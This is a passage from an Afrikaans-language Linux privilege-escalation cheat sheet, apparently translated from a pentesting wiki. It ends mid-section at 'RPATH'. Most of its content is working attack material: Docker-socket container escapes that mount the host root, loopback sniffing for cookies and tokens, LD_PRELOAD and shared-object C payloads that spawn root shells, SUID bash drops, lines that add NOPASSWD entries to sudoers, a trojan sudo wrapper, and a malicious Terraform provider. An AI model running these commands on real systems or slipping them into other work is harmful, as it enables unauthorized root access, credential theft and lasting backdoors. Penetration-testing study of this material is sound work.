As jy enige skryfbare socket identifiseer (nou praat ons oor Unix Sockets en nie oor die config .socket files nie), dan kan jy kommunikeer met daardie socket en dalk ’n vulnerability exploit.

Enumereer Unix Sockets

netstat -a -p --unix

Ruwe verbinding

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Voorbeeld van eksploitasie:

Socket Command Injection

HTTP sockets

Let wel dat daar dalk ’n paar sockets listening for HTTP requests is (ek praat nie oor .socket files nie maar oor die lêers wat as unix sockets optree). Jy kan dit nagaan met:

curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/

As die soket op ’n HTTP-versoek reageer, kan jy daarmee kommunikeer en dalk ’n kwesbaarheid uitbuit.

Skryfbare Docker-soket

Die Docker-soket, dikwels te vinde by /var/run/docker.sock, is ’n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die root gebruiker en lede van die docker groep. Besit van skryftoegang tot hierdie soket kan lei tot privilege escalation. Hier is ’n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilege Escalation with Docker CLI

As jy skryftoegang tot die Docker-soket het, kan jy escalate privileges met die volgende opdragte:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Hierdie opdragte laat jou toe om ’n container te laat loop met root-level toegang tot die host se lêerstelsel.

Gebruik Docker API Direk

In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word met die Docker API en curl opdragte.

1. List Docker Images: Retrieve the list of available images.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Send a request to create a container that mounts the host system’s root directory.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Use socat to establish a connection to the container, enabling command execution within it.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

After setting up the socat connection, you can execute commands directly in the container with root-level access to the host’s filesystem.

Ander

Let wel dat as jy skryfpermissies oor die docker socket het omdat jy inside the group docker is, het jy more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from containers or abuse container runtimes to escalate privileges in:

Container Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus is ’n gesofistikeerde inter-Process Communication (IPC) system wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp vir moderne Linux-stelsels, bied dit ’n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.

Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan enhanced UNIX domain sockets. Verder help dit met die uitsending van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, ’n sein van ’n Bluetooth-daemon oor ’n inkomende oproep kan ’n musiekspeler laat demp. D-Bus ondersteun ook ’n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.

D-Bus werk op ’n allow/deny model, wat boodskaptoestemmings (method calls, signal emissions, ens.) bestuur gebaseer op die kumulatiewe effek van pasgemaakte beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik uitbuiting van hierdie toestemmings vir privilege escalation kan toelaat.

’n Voorbeeld van so ’n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat permissies beskryf vir die root-gebruiker om fi.w1.wpa_supplicant1 te besit, na te stuur en van te ontvang.

Beleide sonder ’n gespesifiseerde gebruiker of groep is universeel van toepassing, terwyl “default” konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hoe om enumerate en exploit ’n D-Bus kommunikasie hier:

D-Bus Enumeration & Command Injection Privilege Escalation

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Algemene enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)

#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1

#L2 neighbours
(arp -e || arp -a || ip neigh)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null

#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null

#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20

#Files used by network services
lsof -i

Vinnige triage van uitgaande filtrering

As die gasheer opdragte kan uitvoer maar callbacks misluk, skei vinnig DNS-, transport-, proxy- en roetefiltrering:

# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A

# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done

# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true

# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me

Oop poorte

Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u

Klassifiseer listeners volgens bind target:

• 0.0.0.0 / [::]: blootgestel op alle plaaslike koppelvlakke.
• 127.0.0.1 / ::1: slegs plaaslik (goeie tunnel/forward-kandidate).
• Spesifieke interne IP-adresse (bv. 10.x, 172.16/12, 192.168.x, fe80::): gewoonlik slegs bereikbaar vanaf interne segmente.

Werksvloei vir triage van slegs plaaslike dienste

Wanneer jy ’n host kompromitteer, word dienste gebind aan 127.0.0.1 dikwels vir die eerste keer vanaf jou shell bereikbaar. ’n Vinnige plaaslike werksvloei is:

# 1) Find local listeners
ss -tulnp

# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1

# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1

# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>

LinPEAS as ’n netwerkskandeerder (network-only mode)

Benewens local PE checks, kan linPEAS as ’n gefokusde netwerkskandeerder uitgevoer word. Dit gebruik beskikbare binaries in $PATH (tipies fping, ping, nc, ncat) en installeer geen tooling nie.

# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t

# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24

# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443

# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20

# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443

As jy -d, -p of -i sonder -t gebruik, handel linPEAS as ’n suiwer network scanner (skipping the rest of privilege-escalation checks).

Sniffing

Kontroleer of jy sniff traffic kan. As dit so is, kan jy dalk ’n paar credentials kry.

timeout 1 tcpdump

Vinnige praktiese kontroles:

#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"

#Find capture interfaces
tcpdump -D
ip -br addr

Loopback (lo) is veral waardevol in post-exploitation omdat baie interne dienste daar tokens/cookies/credentials blootstel:

sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'

Vang nou, ontleed later:

sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri

Gebruikers

Algemene Enumerasie

Kontroleer wie jy is, watter privileges jy het, watter gebruikers in die stelsels is, watter van hulle kan login en watter het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Groot UID

Sommige Linux-weergawes is deur ’n fout geraak wat gebruikers met UID > INT_MAX toelaat om hul voorregte te verhoog. Meer inligting: here, here and here.
Exploit it using: systemd-run -t /bin/bash

Groepe

Kyk of jy ’n lid van ’n groep is wat jou root privileges kan gee:

Interesting Groups - Linux Privesc

Kleefbord

Kyk of daar iets interessant in die kleefbord is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken, probeer om as elke gebruiker aan te meld met daardie wagwoord.

Su Brute

As jy nie omgee om baie geraas te veroorsaak nie en su en timeout binaries op die rekenaar teenwoordig is, kan jy probeer om ’n gebruiker te brute-force met su-bruteforce.
Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare PATH-misbruik

$PATH

As jy vind dat jy binne ’n gids van die $PATH kan skryf, mag jy dalk in staat wees om voorregte te eskaleer deur ’n backdoor in die skryfbare gids te skep met die naam van ’n opdrag wat deur ’n ander gebruiker (idealiter root) uitgevoer gaan word en wat nie gelaai word vanaf ’n gids wat voor jou skryfbare gids in $PATH geleë is nie.

SUDO and SUID

Jy kan moontlik toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte kommando’s laat jou toe om lêers te lees en/of te skryf of selfs ’n kommando uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie kan ’n gebruiker toelaat om ’n kommando met ’n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer; dit is nou triviaal om ’n shell te kry deur ’n ssh key in die root-gids by te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie direktef laat die gebruiker toe om ’n omgewingsveranderlike te stel terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Hierdie voorbeeld, gebaseer op HTB machine Admirer, was kwesbaar vir PYTHONPATH hijacking om ’n willekeurige python-biblioteek te laai terwyl die skrip as root uitgevoer is:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV behou deur sudo env_keep → root shell

As sudoers BASH_ENV behou (bv. Defaults env_keep+="ENV BASH_ENV"), kan jy Bash se nie-interaktiewe opstartgedrag benut om lukrake kode as root uit te voer wanneer ’n toegelate opdrag aangeroep word.

• Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash $BASH_ENV en laai daardie lêer voordat dit die teiken-skrip uitvoer. Baie sudo-reëls laat toe om ’n skrip of ’n shell-wrapper uit te voer. As BASH_ENV deur sudo behou word, word jou lêer met root-bevoegdhede ingelaai.

• Vereistes:

• ’n sudo-reël wat jy kan uitvoer (enige teiken wat /bin/bash nie-interaktief aanroep, of enige bash-skrip).

• BASH_ENV teenwoordig in env_keep (kontroleer met sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Verharding:
• Verwyder BASH_ENV (en ENV) uit env_keep, verkies env_reset.
• Vermy shell wrappers vir sudo-toegelate opdragte; gebruik minimale binaries.
• Oorweeg sudo I/O-logging en waarskuwings wanneer behoude env vars gebruik word.

Terraform via sudo met behoude HOME (!env_reset)

Indien sudo die omgewing ongemoeid laat (!env_reset) terwyl dit terraform apply toelaat, bly $HOME as die aanroepende gebruiker. Terraform laai dus $HOME/.terraformrc as root en eerbiedig provider_installation.dev_overrides.

• Wys die vereiste provider na ’n skryfbare gids en plaas ’n kwaadwillige plugin met die naam van die provider (bv. terraform-provider-examples):

# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform sal die Go plugin handshake laat misluk, maar voer die payload as root uit voordat dit sterf, en laat ’n SUID shell agter.

TF_VAR oorskrywings + symlink validation bypass

Terraform-variabeles kan verskaf word via TF_VAR_<name> omgewing-variabeles, wat oorleef wanneer sudo die omgewing behou. Swak validerings soos strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") kan met symlinks omseil word:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform los die symlink op en kopieer die werklike /root/root.txt na ’n bestemming wat deur ’n aanvaller gelees kan word. Dieselfde benadering kan gebruik word om in bevoorregte paaie te skryf deur bestemmings-symlinks vooraf te skep (bv. deur die provider’s bestemmingspad na /etc/cron.d/ te wys).

requiretty / !requiretty

Op sommige ouer verspreidings kan sudo gekonfigureer word met requiretty, wat sudo slegs vanaf ’n interaktiewe TTY toelaat. As !requiretty gestel is (of die opsie afwesig is), kan sudo vanaf nie-interaktiewe kontekste uitgevoer word, soos reverse shells, cron jobs of skripte.

Defaults !requiretty

Dit is nie ’n direkte kwesbaarheid op sigself nie, maar dit brei die situasies uit waar sudo-reëls misbruik kan word sonder om ’n volledige PTY te benodig.

Sudo env_keep+=PATH / onveilige secure_path → PATH hijack

As sudo -l env_keep+=PATH of secure_path toon wat aanvaller-skryfbare insette bevat (bv., /home/<user>/bin), kan enige relatiewe opdrag binne die sudo-toegestane teiken geskadu word.

• Vereistes: ’n sudo-reël (dikwels NOPASSWD) wat ’n script/binary uitvoer wat opdragte aanroep sonder absolute paadjies (free, df, ps, etc.) en ’n skryfbare PATH-inset wat eers gesoek word.

cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo-uitvoering: paaie omseil

Spring om ander lêers te lees of gebruik symlinks. Byvoorbeeld in sudoers file: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

As ’n wildcard gebruik word (*), is dit nog makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary sonder opdragspad

Indien die sudo permission aan ’n enkele command gegee word sonder om die pad te spesifiseer: hacker10 ALL= (root) less, kan jy dit misbruik deur die PATH-variabele te verander

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Hierdie tegniek kan ook gebruik word as ’n suid binary ’n ander opdrag uitvoer sonder om die pad daartoe te spesifiseer (kontroleer altyd met strings die inhoud van ’n vreemde SUID binary)).

Payload examples to execute.

SUID binary met command path

As die suid binary ’n ander opdrag uitvoer deur die pad te spesifiseer, kan jy probeer om export a function met dieselfde naam as die opdrag wat die suid-lêer aanroep, te skep en te exporteer.

Byvoorbeeld, as ’n suid binary aanroep /usr/sbin/service apache2 start moet jy probeer om die funksie te skep en dit te exporteer:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word

Skryfbare skrip wat deur ’n SUID-wrapper uitgevoer word

’n Algemene miskonfigurasie in custom-apps is ’n SUID-binary-wrapper wat aan root behoort en ’n skrip uitvoer, terwyl die skrip self skryfbaar is vir low-priv users.

Tipiese patroon:

int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}

As /usr/local/bin/backup.sh skryfbaar is, kan jy payload-opdragte byvoeg en dan die SUID-wrapper uitvoer:

echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p

Vinnige kontroles:

find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh

Hierdie aanvalspad is veral algemeen in “maintenance”/“backup” wrappers wat in /usr/local/bin verskaf word.

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) te spesifiseer wat deur die loader voor alle ander gelaai moet word, insluitend die standaard C-biblioteek (libc.so). Hierdie proses staan bekend as die prelaai van ’n biblioteek.

Om egter stelselsekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met suid/sgid uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:

• Die loader ignoreer LD_PRELOAD vir uitvoerbare lêers waar die werklike gebruiker-ID (ruid) nie ooreenstem met die effektiewe gebruiker-ID (euid) nie.
• Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, vooraf gelaai.

Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met sudo uit te voer en die uitset van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat toe dat die LD_PRELOAD omgewingsveranderlike behou bly en erken word selfs wanneer opdragte met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan compile it met:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Laastens, escalate privileges deur dit uit te voer

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

’n soortgelyke privesc kan misbruik word as die aanvaller die LD_LIBRARY_PATH env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wanneer jy op ’n binary met SUID-toestemmings stuit wat ongewoon voorkom, is dit ’n goeie praktyk om te verifieer of dit .so-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, die voorkoms van ’n fout soos “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” dui op ’n moontlikheid vir uitbuiting.

Om dit uit te buit, skep ’n C-lêer, byvoorbeeld “/path/to/.config/libcalc.c”, met die volgende kode:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie kode, sodra dit gecompileer en uitgevoer is, mik daarop om bevoegdhede te verhoog deur lêertoestemmings te manipuleer en ’n shell met verhoogde bevoegdhede uit te voer.

Kompileer die bogenoemde C-lêer na ’n gedeelde objek (.so)-lêer met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Uiteindelik behoort die uitvoering van die aangetasde SUID binary die exploit te aktiveer, wat vir moontlike stelselkompromittering kan lei.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Nou dat ons ’n SUID binary gevind het wat ’n biblioteek uit ’n map laai waarin ons kan skryf, kom ons skep die biblioteek in daardie map met die nodige naam:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy ’n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het ’n funksie met die naam a_function_name moet hê.

GTFOBins

GTFOBins is ’n versorgde lys van Unix-binaries wat deur ’n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde maar vir gevalle waar jy slegs argumente kan invoeg in ’n opdrag.

Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation take te vergemaklik.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

GTFOArgs: Argument Injection Exploitation Vector List | GTFOArgs is a curated list of Unix binaries whose arguments can be exploited for argument injection, enabling shell escapes, privilege escalation, file read/write, and other post-exploitation techniques.

FallOfSudo

As jy toegang tot sudo -l het, kan jy die hulpmiddel FallOfSudo gebruik om te kyk of dit maniere vind om enige sudo-reël te exploiteer.

Hergebruik van sudo-tokens

In gevalle waar jy sudo access het maar nie die wagwoord nie, kan jy voorregte eskaleer deur te wag vir ’n sudo-opdrag se uitvoering en dan die sessietoken te kaap.

Vereistes om voorregte te eskaleer:

• Jy het reeds ’n shell as gebruiker “sampleuser”
• “sampleuser” het sudo gebruik om iets uit te voer in die laaste 15 minute (standaard is dit die duur van die sudo-token wat ons toelaat om sudo te gebruik sonder om ’n wagwoord in te voer)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb is toeganklik (jy kan dit oplaai)

(Jy kan tydelik ptrace_scope aktiveer met echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope of permanent deur /etc/sysctl.d/10-ptrace.conf te wysig en kernel.yama.ptrace_scope = 0 te stel)

As al hierdie vereistes vervul is, kan jy voorregte eskaleer deur: https://github.com/nongiach/sudo_inject

• Die eerste exploit (exploit.sh) sal die binêre activate_sudo_token in /tmp skep. Jy kan dit gebruik om die sudo-token in jou sessie te aktiveer (jy kry nie outomaties ’n root-shell nie; doen sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Die tweede exploit (exploit_v2.sh) sal ’n sh shell in /tmp skep wat aan root behoort en setuid het

bash exploit_v2.sh
/tmp/sh -p

• Die derde exploit (exploit_v3.sh) sal ’n sudoers file skep wat sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

As jy write permissions op die gids het of op enige van die lêers wat daarin geskep is, kan jy die binary write_sudo_token gebruik om create a sudo token for a user and PID.
Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan oorskryf en jy ’n shell het as daardie gebruiker met PID 1234, kan jy obtain sudo privileges sonder om die password te weet deur die volgende te doen:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d konfigureer wie sudo kan gebruik en hoe. Hierdie lêers by verstek kan slegs deur user root en group root gelees word.
As jy hierdie lêer kan lees kan jy moontlik interessante inligting bekom, en as jy enige lêer kan skryf sal jy in staat wees om escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog ’n manier om hierdie toestemmings te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is ’n paar alternatiewe vir die sudo-binaire, soos doas vir OpenBSD; onthou om sy konfigurasie by /etc/doas.conf na te gaan.

permit nopass demo as root cmd vim

Sudo Hijacking

As jy weet dat ’n gebruiker gewoonlik aan ’n masjien koppel en sudo gebruik to escalate privileges en jy ’n shell binne daardie gebruiker-konteks gekry het, kan jy ’n nuwe sudo-uitvoerbare lêer skep wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Wysig dan die $PATH van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare lêer uitgevoer word.

Let wel dat as die gebruiker ’n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback wysig ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan nog ’n voorbeeld vind in bashdoor.py

Of om iets soos die volgende uit te voer:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde Biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waar die gelaaide konfigurasielêers vandaan kom. Typies bevat hierdie lêer die volgende pad: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers van /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers verwys na ander vouers waar biblioteke gesoek sal word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel sal soek na biblioteke binne /usr/local/lib.

As ’n gebruiker om een of ander rede a user has write permissions op enige van die aangeduide paaie: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer wat in die konfigurasielêer binne /etc/ld.so.conf.d/*.conf aangetoon word, kan hy moontlik escalate privileges.
Kyk na how to exploit this misconfiguration in die volgende bladsy:

ld.so privesc exploit example

RPATH

